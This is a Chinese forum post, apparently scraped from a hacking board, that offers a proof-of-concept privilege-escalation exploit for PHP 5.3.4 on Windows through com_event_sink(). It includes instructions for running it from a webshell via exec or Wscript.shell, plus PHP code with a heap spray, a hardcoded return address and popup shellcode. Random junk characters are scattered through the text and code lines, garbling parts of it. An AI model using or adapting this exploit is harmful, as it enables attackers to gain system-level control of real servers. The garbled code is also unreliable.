|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中' i! R6 \" S% F1 B
; K% h, s/ d8 I测试方法如下:cmd /c x:\php\php.exe x:\test.php
' Z8 [3 H9 y/ u) e, Q- {: C# \! m2 B; G+ b# ?1 w2 x1 R# D
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
6 B8 ~/ l* }& j1 T: Q$ z6 V这里是两个测试的截图:
9 I5 p' r& X* W0 T% B1 ]+ P/ F2 D2 f0 \8 S5 X
, G; K6 n. q3 W# Z' J( V
: _, v; Y4 w9 ?. I: O- I) E$ R. m! V5 J
* C+ P* g+ }& }& L1 o" z成功利用此漏洞的攻击者将获得系统的最高权限
$ ?( w9 e$ _# L5 [" E4 d6 v% A3 G/ m& A
$ A; h7 x6 k$ Q5 F; U6 C; ^3 y
7 _/ q8 ]- y' L6 e+ N& e
+ N6 G' T! L- c0 A" V/ {. h, I
9 N6 G7 q2 u5 V" N9 E; Q8 k) a% o关于漏洞分析稍后附上。一下是PoC代码:4 q" s/ r1 r$ s
3 x+ T$ t/ {, h% e$ g! D7 a<?php- J6 B7 D# c% S) Q/ u2 {# n/ o+ C
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
- ~$ d) [& @" {! _. v( ^//$eip ="\x44\x43\x42\x41";% c# D6 s$ k4 g6 _- i
$eip= "\x4b\xe8\x57\x78";2 L! a5 |* x; d$ q& `
$eax ="\x80\x01\x8d\x04";$ r y: ^$ Q0 u1 Y: L2 Q# h" t
$deodrant="";4 j# q; L) d' A0 U
$axespray = str_repeat($eip.$eax,0x80);% n' N1 Z# j2 C# l
//048d0190* _4 [/ }, \( {
echo strlen($axespray);
, T! k6 }: Z5 G: Xecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
2 W" U, {" Z/ [& O4 ?% P; b4 m R; Recho "Silic Group Hacker Army - BlackBap.Org";
" ~ W/ A) P4 E/ U9 x2 |//19200 ==4B32 4b00
9 t; M" ^% U" U4 f& @for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}6 O2 U, D- f6 Z u8 D8 P/ i
$terminate = "T";& N* l# d j8 N5 e
$u[] =$deodrant;
3 E; B- z Z9 S$r[] =$deodrant.$terminate;
9 J6 W( X& E6 b$a[] =$deodrant.$terminate;' w( b# O; s/ }
$s[] =$deodrant.$terminate;
; M* E: F0 N7 I3 q5 ^$ G6 {7 R; H% }//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的; r) [( p7 O/ `. O9 v2 F4 `
$vVar = new VARIANT(0x048d0000+180);3 }8 R* W, Z0 k. {
//弹窗代码(Shellcode)
4 s3 t, r/ u* }1 i8 B+ R$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";+ g: }5 P. D# V7 u" _
$var2 = new VARIANT(0x41414242);3 p" V6 A6 a1 k
com_event_sink($vVar,$var2,$buffer);
( s3 `$ v( i8 D8 b?>- _4 g( ?6 c% {1 l6 z
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|